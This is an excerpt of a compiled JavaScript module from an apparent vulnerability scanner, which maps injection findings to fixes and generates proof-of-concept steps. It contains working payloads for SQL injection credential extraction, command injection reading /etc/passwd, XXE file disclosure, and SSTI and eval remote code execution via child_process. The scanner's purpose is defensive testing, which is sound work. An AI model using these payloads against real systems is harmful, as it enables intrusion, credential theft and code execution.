+
async generatePoC(finding) {
|
|
239
|
+
const pocMap = {
|
|
240
|
+
"sql-string-concat": () => sqlInjectionPoC(finding),
|
|
241
|
+
"sql-raw-query": () => sqlInjectionPoC(finding),
|
|
242
|
+
"sql-format-string": () => sqlInjectionPoC(finding),
|
|
243
|
+
"sql-prisma-raw": () => sqlInjectionPoC(finding),
|
|
244
|
+
"cmd-exec-concat": () => commandInjectionPoC(finding),
|
|
245
|
+
"cmd-shell-true": () => commandInjectionPoC(finding),
|
|
246
|
+
"cmd-backtick": () => commandInjectionPoC(finding),
|
|
247
|
+
"cmd-os-system": () => commandInjectionPoC(finding),
|
|
248
|
+
"xxe-parse-no-disable": () => xxePoC(finding),
|
|
249
|
+
"ssti-handlebars": () => sstiPoC(finding, "handlebars"),
|
|
250
|
+
"ssti-ejs-render": () => sstiPoC(finding, "ejs"),
|
|
251
|
+
"ssti-jinja2": () => sstiPoC(finding, "jinja2"),
|
|
252
|
+
"code-eval": () => codeInjectionPoC(finding),
|
|
253
|
+
"code-function-constructor": () => codeInjectionPoC(finding),
|
|
254
|
+
"code-vm-run": () => codeInjectionPoC(finding),
|
|
255
|
+
};
|
|
256
|
+
const generator = pocMap[finding.patternId];
|
|
257
|
+
return generator ? generator() : null;
|
|
258
|
+
},
|
|
259
|
+
getPromptEnhancement() {
|
|
260
|
+
return `When analyzing for injection vulnerabilities, focus on:
|
|
261
|
+
|
|
262
|
+
1. **Data Flow Tracing**: Track how user input flows from entry points (req.body, req.query, req.params, form data, API payloads) to sensitive sinks (database queries, shell commands, template engines, eval).
|
|
263
|
+
|
|
264
|
+
2. **SQL Injection Indicators**:
|
|
265
|
+
- String concatenation in SQL queries
|
|
266
|
+
- Template literals with variables in SQL
|
|
267
|
+
- Missing parameterized queries
|
|
268
|
+
- ORM raw query methods (Prisma $queryRaw, Sequelize.literal)
|
|
269
|
+
|
|
270
|
+
3. **Command Injection Indicators**:
|
|
271
|
+
- spawn/exec with shell:true
|
|
272
|
+
- String concatenation in command arguments
|
|
273
|
+
- User input passed to child_process methods
|
|
274
|
+
- Backtick execution with variables
|
|
275
|
+
|
|
276
|
+
4. **Template Injection (SSTI)**:
|
|
277
|
+
- User input in template compilation
|
|
278
|
+
- Dynamic template strings
|
|
279
|
+
- Missing template sandboxing
|
|
280
|
+
|
|
281
|
+
5. **Code Injection**:
|
|
282
|
+
- eval() with external data
|
|
283
|
+
- new Function() with dynamic strings
|
|
284
|
+
- vm.runIn* with user content
|
|
285
|
+
- setTimeout/setInterval with string arguments
|
|
286
|
+
|
|
287
|
+
For each potential vulnerability, determine:
|
|
288
|
+
- Is there a clear path from user input to the sink?
|
|
289
|
+
- Are there any sanitization or validation steps?
|
|
290
|
+
- What's the exploitability in a realistic attack scenario?`;
|
|
291
|
+
},
|
|
292
|
+
getRelevantFilePatterns() {
|
|
293
|
+
return [
|
|
294
|
+
"**/api/**",
|
|
295
|
+
"**/routes/**",
|
|
296
|
+
"**/handlers/**",
|
|
297
|
+
"**/controllers/**",
|
|
298
|
+
"**/db/**",
|
|
299
|
+
"**/database/**",
|
|
300
|
+
"**/sql/**",
|
|
301
|
+
"**/graphql/**",
|
|
302
|
+
"**/*.ts",
|
|
303
|
+
"**/*.js",
|
|
304
|
+
"**/*.py",
|
|
305
|
+
"**/*.go",
|
|
306
|
+
];
|
|
307
|
+
},
|
|
308
|
+
};
|
|
309
|
+
// ============================================================================
|
|
310
|
+
// Helper Functions
|
|
311
|
+
// ============================================================================
|
|
312
|
+
function isInComment(line, position) {
|
|
313
|
+
const beforePos = line.substring(0, position);
|
|
314
|
+
return beforePos.includes("//") || beforePos.includes("/*") || beforePos.trimStart().startsWith("#");
|
|
315
|
+
}
|
|
316
|
+
function calculateConfidence(match, pattern, file) {
|
|
317
|
+
let confidence = 70;
|
|
318
|
+
// Higher confidence for obvious patterns
|
|
319
|
+
if (match.includes("req.") || match.includes("request.") || match.includes("body.")) {
|
|
320
|
+
confidence += 15;
|
|
321
|
+
}
|
|
322
|
+
// Higher confidence for critical severity
|
|
323
|
+
if (pattern.severity === "critical") {
|
|
324
|
+
confidence += 10;
|
|
325
|
+
}
|
|
326
|
+
// Lower confidence for minified or generated files
|
|
327
|
+
if (file.relativePath.includes(".min.") || file.relativePath.includes("bundle.")) {
|
|
328
|
+
confidence -= 20;
|
|
329
|
+
}
|
|
330
|
+
return Math.min(95, Math.max(50, confidence));
|
|
331
|
+
}
|
|
332
|
+
function getMitreIds(patternId) {
|
|
333
|
+
const mapping = {
|
|
334
|
+
"sql-string-concat": ["T1190", "T1059"],
|
|
335
|
+
"sql-raw-query": ["T1190", "T1059"],
|
|
336
|
+
"cmd-exec-concat": ["T1059", "T1203"],
|
|
337
|
+
"cmd-shell-true": ["T1059", "T1203"],
|
|
338
|
+
"xxe-parse-no-disable": ["T1190", "T1203"],
|
|
339
|
+
"ssti-handlebars": ["T1059", "T1203"],
|
|
340
|
+
"code-eval": ["T1059", "T1203"],
|
|
341
|
+
"code-function-constructor": ["T1059", "T1203"],
|
|
342
|
+
};
|
|
343
|
+
return mapping[patternId] || ["T1059"];
|
|
344
|
+
}
|
|
345
|
+
function getSuggestedFix(patternId) {
|
|
346
|
+
const fixes = {
|
|
347
|
+
"sql-string-concat": "Use parameterized queries or prepared statements instead of string concatenation",
|
|
348
|
+
"sql-raw-query": "Use ORM methods with proper escaping or parameterized queries",
|
|
349
|
+
"cmd-exec-concat": "Use spawn with array arguments instead of string concatenation, avoid shell:true",
|
|
350
|
+
"cmd-shell-true": "Remove shell:true and use array-based arguments",
|
|
351
|
+
"xxe-parse-no-disable": "Disable DTD processing and external entities in XML parser configuration",
|
|
352
|
+
"ssti-handlebars": "Never compile user-controlled templates; use precompiled templates with data binding",
|
|
353
|
+
"code-eval": "Avoid eval(); use JSON.parse for data, or a secure sandbox for code execution",
|
|
354
|
+
"code-function-constructor": "Avoid new Function() with dynamic content; use predefined functions",
|
|
355
|
+
};
|
|
356
|
+
return fixes[patternId] || "Review and sanitize user input before use in sensitive operations";
|
|
357
|
+
}
|
|
358
|
+
// ============================================================================
|
|
359
|
+
// PoC Generators
|
|
360
|
+
// ============================================================================
|
|
361
|
+
function sqlInjectionPoC(finding) {
|
|
362
|
+
const steps = [
|
|
363
|
+
{
|
|
364
|
+
order: 1,
|
|
365
|
+
action: "identify-input",
|
|
366
|
+
description: "Identify the user input parameter that flows to the SQL query",
|
|
367
|
+
command: `Review ${finding.file}:${finding.line}`,
|
|
368
|
+
expectedResult: "Locate the input parameter (e.g., req.query.id, req.body.name)",
|
|
369
|
+
},
|
|
370
|
+
{
|
|
371
|
+
order: 2,
|
|
372
|
+
action: "test-basic",
|
|
373
|
+
description: "Test for SQL injection with a single quote",
|
|
374
|
+
command: `curl -X GET "https://target/api/endpoint?id=1'"`,
|
|
375
|
+
expectedResult: "SQL syntax error in response indicates vulnerability",
|
|
376
|
+
},
|
|
377
|
+
{
|
|
378
|
+
order: 3,
|
|
379
|
+
action: "confirm-injection",
|
|
380
|
+
description: "Confirm injection with boolean-based test",
|
|
381
|
+
command: `curl -X GET "https://target/api/endpoint?id=1' AND '1'='1"`,
|
|
382
|
+
expectedResult: "Normal response - confirms injection point",
|
|
383
|
+
},
|
|
384
|
+
{
|
|
385
|
+
order: 4,
|
|
386
|
+
action: "extract-data",
|
|
387
|
+
description: "Demonstrate data extraction capability",
|
|
388
|
+
command: `curl -X GET "https://target/api/endpoint?id=1' UNION SELECT null,username,password FROM users--"`,
|
|
389
|
+
expectedResult: "User credentials visible in response",
|
|
390
|
+
},
|
|
391
|
+
];
|
|
392
|
+
return {
|
|
393
|
+
id: `poc-${finding.id}`,
|
|
394
|
+
findingId: finding.id,
|
|
395
|
+
prerequisites: [
|
|
396
|
+
"Access to the vulnerable endpoint",
|
|
397
|
+
"Understanding of the database schema (for UNION-based extraction)",
|
|
398
|
+
],
|
|
399
|
+
steps,
|
|
400
|
+
payload: "' OR '1'='1",
|
|
401
|
+
expectedResult: "Unauthorized data access or authentication bypass",
|
|
402
|
+
safeTestInstructions: "Test only on isolated development/staging environments. Never test on production databases. Use a separate test database with synthetic data.",
|
|
403
|
+
};
|
|
404
|
+
}
|
|
405
|
+
function commandInjectionPoC(finding) {
|
|
406
|
+
const steps = [
|
|
407
|
+
{
|
|
408
|
+
order: 1,
|
|
409
|
+
action: "identify-input",
|
|
410
|
+
description: "Identify the user input that flows to the command execution",
|
|
411
|
+
command: `Review ${finding.file}:${finding.line}`,
|
|
412
|
+
expectedResult: "Locate the input parameter used in shell command",
|
|
413
|
+
},
|
|
414
|
+
{
|
|
415
|
+
order: 2,
|
|
416
|
+
action: "test-basic",
|
|
417
|
+
description: "Test for command injection with semicolon",
|
|
418
|
+
command: `curl -X POST "https://target/api/process" -d '{"filename": "test; whoami"}'`,
|
|
419
|
+
expectedResult: "Command output visible in response",
|
|
420
|
+
},
|
|
421
|
+
{
|
|
422
|
+
order: 3,
|
|
423
|
+
action: "confirm-blind",
|
|
424
|
+
description: "Confirm blind command injection with time delay",
|
|
425
|
+
command: `curl -X POST "https://target/api/process" -d '{"filename": "test; sleep 5"}'`,
|
|
426
|
+
expectedResult: "Response delayed by 5 seconds indicates blind injection",
|
|
427
|
+
},
|
|
428
|
+
];
|
|
429
|
+
return {
|
|
430
|
+
id: `poc-${finding.id}`,
|
|
431
|
+
findingId: finding.id,
|
|
432
|
+
prerequisites: [
|
|
433
|
+
"Access to the vulnerable endpoint",
|
|
434
|
+
"Understanding of the server operating system",
|
|
435
|
+
],
|
|
436
|
+
steps,
|
|
437
|
+
payload: "; cat /etc/passwd",
|
|
438
|
+
expectedResult: "System file contents or command output visible",
|
|
439
|
+
safeTestInstructions: "Test only on isolated systems. Use non-destructive commands like 'whoami' or 'id'. Never use 'rm', 'dd', or other destructive commands. Set up network monitoring to detect any outbound connections.",
|
|
440
|
+
};
|
|
441
|
+
}
|
|
442
|
+
function xxePoC(finding) {
|
|
443
|
+
const steps = [
|
|
444
|
+
{
|
|
445
|
+
order: 1,
|
|
446
|
+
action: "craft-payload",
|
|
447
|
+
description: "Craft XXE payload to read local file",
|
|
448
|
+
command: `Create XML: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>`,
|
|
449
|
+
expectedResult: "Payload ready for submission",
|
|
450
|
+
},
|
|
451
|
+
{
|
|
452
|
+
order: 2,
|
|
453
|
+
action: "submit-payload",
|
|
454
|
+
description: "Submit XXE payload to the endpoint",
|
|
455
|
+
command: `curl -X POST "https://target/api/parse" -H "Content-Type: application/xml" -d @xxe-payload.xml`,
|
|
456
|
+
expectedResult: "File contents visible in response",
|
|
457
|
+
},
|
|
458
|
+
];
|
|
459
|
+
return {
|
|
460
|
+
id: `poc-${finding.id}`,
|
|
461
|
+
findingId: finding.id,
|
|
462
|
+
prerequisites: [
|
|
463
|
+
"Access to XML-accepting endpoint",
|
|
464
|
+
"Understanding of server file system layout",
|
|
465
|
+
],
|
|
466
|
+
steps,
|
|
467
|
+
payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>',
|
|
468
|
+
expectedResult: "Local file contents disclosed",
|
|
469
|
+
safeTestInstructions: "Test on isolated systems only. Read non-sensitive files first (/etc/hostname). Never attempt SSRF or data exfiltration to external servers.",
|
|
470
|
+
};
|
|
471
|
+
}
|
|
472
|
+
function sstiPoC(finding, engine) {
|
|
473
|
+
const payloads = {
|
|
474
|
+
handlebars: "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require('child_process').execSync('id');\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}",
|
|
475
|
+
ejs: "<%= global.process.mainModule.require('child_process').execSync('id') %>",
|
|
476
|
+
jinja2: "{{''.__class__.__mro__[1].__subclasses__()[407]('id',shell=True,stdout=-1).communicate()}}",
|
|
477
|
+
};
|
|
478
|
+
const steps = [
|
|
479
|
+
{
|
|
480
|
+
order: 1,
|
|
481
|
+
action: "test-expression",
|
|
482
|
+
description: "Test for template injection with arithmetic",
|
|
483
|
+
command: `Submit payload: ${engine === "jinja2" ? "{{7*7}}" : "${7*7}"}`,
|
|
484
|
+
expectedResult: "Response contains '49' - confirms template injection",
|
|
485
|
+
},
|
|
486
|
+
{
|
|
487
|
+
order: 2,
|
|
488
|
+
action: "escalate-rce",
|
|
489
|
+
description: "Escalate to remote code execution",
|
|
490
|
+
command: `Submit payload: ${payloads[engine] || "{{7*7}}"}`,
|
|
491
|
+
expectedResult: "Command output visible in response",
|
|
492
|
+
},
|
|
493
|
+
];
|
|
494
|
+
return {
|
|
495
|
+
id: `poc-${finding.id}`,
|
|
496
|
+
findingId: finding.id,
|
|
497
|
+
prerequisites: [
|
|
498
|
+
"Access to endpoint accepting template input",
|
|
499
|
+
`Knowledge of ${engine} template engine syntax`,
|
|
500
|
+
],
|
|
501
|
+
steps,
|
|
502
|
+
payload: payloads[engine] || "{{7*7}}",
|
|
503
|
+
expectedResult: "Remote code execution achieved",
|
|
504
|
+
safeTestInstructions: "Start with safe arithmetic expressions (7*7). Only escalate on isolated test environments. Never execute destructive commands.",
|
|
505
|
+
};
|
|
506
|
+
}
|
|
507
|
+
function codeInjectionPoC(finding) {
|
|
508
|
+
const steps = [
|
|
509
|
+
{
|
|
510
|
+
order: 1,
|
|
511
|
+
action: "identify-sink",
|
|
512
|
+
description: "Identify the eval/Function sink and its input source",
|
|
513
|
+
command: `Review ${finding.file}:${finding.line}`,
|
|
514
|
+
expectedResult: "Understand how user input reaches the code execution sink",
|
|
515
|
+
},
|
|
516
|
+
{
|
|
517
|
+
order: 2,
|
|
518
|
+
action: "test-basic",
|
|
519
|
+
description: "Test with simple expression",
|
|
520
|
+
command: `Submit: 1+1`,
|
|
521
|
+
expectedResult: "Response contains '2' - confirms code execution",
|
|
522
|
+
},
|
|
523
|
+
{
|
|
524
|
+
order: 3,
|
|
525
|
+
action: "escalate",
|
|
526
|
+
description: "Escalate to process access",
|
|
527
|
+
command: `Submit: require('child_process').execSync('id').toString()`,
|
|
528
|
+
expectedResult: "System command output visible",
|
|
529
|
+
},
|
|
530
|
+
];
|
|
531
|
+
return {
|
|
532
|
+
id: `poc-${finding.id}`,
|
|
533
|
+
findingId: finding.id,
|
|
534
|
+
prerequisites: [
|
|
535
|
+
"Access to endpoint accepting code input",
|
|
536
|
+
"Understanding of Node.js runtime environment",
|
|
537
|
+
],
|
|
538
|
+
steps,
|
|
539
|
+
payload: "require('child_process').execSync('id').toString()",
|
|
540
|
+
expectedResult: "Arbitrary code execution achieved",
|
|
541
|
+
safeTestInstructions: "Start with safe expressions (1+1). Test on isolated systems only. Never execute file system modifications or network operations.",
|
|
542
|
+
};
|
|
543
|
+
}
|
|
544
|
+
// ============================================================================
|
|
545
|
+
// Register Tactic
|
|
546
|
+
// ============================================================================
|
|
547
|
+
registerTactic(injectionTactic);
|
|
548
|
+
export { injectionTactic };
|
|
549
|
+
//# sourceMappingURL=injection.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"injection.js","sourceRoot":"","sources":["../../../../src/agents/adversary/tactics/injection.ts"],"names":[],"mappings":"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